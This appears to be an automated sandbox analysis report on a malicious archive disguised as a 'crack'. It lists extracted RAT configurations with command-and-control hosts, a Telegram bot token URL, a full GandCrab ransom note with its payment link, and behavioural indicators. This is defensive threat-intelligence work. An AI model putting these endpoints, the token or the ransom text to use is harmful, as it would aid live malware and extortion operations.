asyncrat | 67c12eda1cc8358e06ef29eabf1542bf68db9da45df65c52d0ac03246bf75e03

Resubmissions

09-09-2024 23:39

240909-3nkmdswdqm 10

09-09-2024 23:31

09-09-2024 23:11

09-09-2024 22:25

09-09-2024 22:07

09-09-2024 21:53

09-09-2024 21:44

Analysis

max time kernel
429s
max time network
434s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
09-09-2024 23:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

クラック.zip
Size

13.4MB
MD5

6c5fc1a3ba386a83c87700f54d62a96f
SHA1

a05f08de3e4f218ad2567a2695d0ca500fb48ecf
SHA256

67c12eda1cc8358e06ef29eabf1542bf68db9da45df65c52d0ac03246bf75e03
SHA512

0a2573e40287c35c5a05c9b84fd5fd41bacc16c1bb565ee823ff6a42610c151f460a4be6d7009f0a70b648234aa998af27769ae667f4649c223c39c07449a098
SSDEEP

393216:T0Wxsts7B2+qq0a1n5Gy0vdymghya/2yswYpmTg:wGg1+0a1nYvvJghD/2yMM8

Malware Config

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

njrat

Version

im523

Botnet

puked

147.185.221.20:47570

Mutex

20006afb0ec33f2e48c8c1f17d4d3382

Attributes

reg_key
20006afb0ec33f2e48c8c1f17d4d3382
splitter
|'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

чучундра

hakim32.ddns.net:2000

safety-bronze.gl.at.ply.gg:4444

Mutex

27b92504703b09d3ee2dae0873e8e3f3

Attributes

reg_key
27b92504703b09d3ee2dae0873e8e3f3
splitter
|'|'|

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
-YFLE4M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

192.168.1.42:5552

Mutex

bf7b1fe7a7644171a9985ea45221c25c

Attributes

reg_key
bf7b1fe7a7644171a9985ea45221c25c
splitter
|'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

kosomk 555

dovelabobzgnan.ddns.net:5552

Mutex

a8c0d4cf5cfc2cc1149b5e071c2ab5df

Attributes

reg_key
a8c0d4cf5cfc2cc1149b5e071c2ab5df
splitter
|'|'|

Extracted

Path

F:\$RECYCLE.BIN\S-1-5-21-3761892313-3378554128-2287991803-1000\DZFHSJN-DECRYPT.txt

Ransom Note

---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .DZFHSJN The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/9f2ec8eb2c89000b | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZWTpZRrnYN7m9Wp7ffTHeHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXB6eLy/2Q2ROt1GtNYOVrRBiXt/hHeEdAboScS4tm4aab3Y5NyPYz32XaispQRTRkqF1PXJPcJ15EHwNAoARPLnK8+Au5ZALyfhGEwg6hrKQ3vxBFKwg70Zi7pDhFJ3vHLM+at1wcZN3QQRlGKYDmn1lvgAn90mSDf7SyGQSZnn7Ivlsuw7HIKVYbpfzf2fBccdMBnP2lNhH9XQ3DC2qZAEuDtLkioBZ9MNJGhHpcOfb/LRc8P54k7V/HuibORzJL9NXYEh8sz/ewORahtHP+ZbmbW4eJPXp1eNtQ19EJhJFLe2qhgw2mJLRMzwAtbfjn5E2ENiW4EkrJfTw== ---END PC DATA---

URLs

http://gandcrabmfe6mnef.onion/9f2ec8eb2c89000b

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 19 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7864	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7828	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6492	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8712	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	10200	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7024	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6080	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5620	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8296	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8264	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8616	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8368	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8744	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8884	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7616	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9676	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9076	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	10192	5468	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	10156	5468	schtasks.exe

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

Processes:

resource	yara_rule
C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe	family_stormkitty
behavioral2/memory/5768-1090-0x0000000000530000-0x0000000000562000-memory.dmp	family_stormkitty

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe	family_asyncrat

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe	dcrat
behavioral2/memory/6140-1163-0x0000000000D50000-0x0000000000E26000-memory.dmp	dcrat
C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe	dcrat
behavioral2/memory/5716-1087-0x0000000000630000-0x0000000000706000-memory.dmp	dcrat

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

Powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1468	Powershell.exe
9096	powershell.exe
9084	powershell.exe
9176	powershell.exe
9776	powershell.exe
9760	powershell.exe
9744	powershell.exe
9736	powershell.exe
9120	powershell.exe
9732	powershell.exe
9160	powershell.exe
9112	powershell.exe

Modifies Windows Firewall 2 TTPs 5 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

pid process

7664 netsh.exe
6504 netsh.exe
8504 netsh.exe
9044 netsh.exe
6096 netsh.exe

pid	process
7664	netsh.exe
6504	netsh.exe
8504	netsh.exe
9044	netsh.exe
6096	netsh.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe	upx
behavioral2/memory/5360-1192-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/5360-1473-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/5360-1807-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/5360-1497-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/5360-2868-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral2/memory/5360-3087-0x0000000000400000-0x000000000048A000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Program Files (x86)\Darkest Dungeon setub.exe	vmprotect

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

6392 7160 WerFault.exe cbgsujmwws.exe

pid	pid_target	process	target process
6392	7160	WerFault.exe	cbgsujmwws.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

FileCoAuth.exeFileCoAuth.exeVirus.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FileCoAuth.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FileCoAuth.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Virus.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exefirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

SearchHost.exeSearchHost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchHost.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

7204 taskkill.exe

pid	process
7204	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

SearchHost.exeSearchHost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000\Software\Microsoft\Internet Explorer\GPU	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000\Software\Microsoft\Internet Explorer\GPU	SearchHost.exe

Modifies registry class 64 IoCs

Processes:

SearchHost.exefirefox.exeSearchHost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "18222"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "18222"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\bing.com	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202020202	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "9911"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "10732"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\NodeSlot = "12"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "222"	SearchHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "19951"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "8428"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "4294967295"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "4"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "222"	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\Shell\SniffedFolderType = "Generic"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\MRUListEx = ffffffff	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "255"	SearchHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202020202	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg	firefox.exe
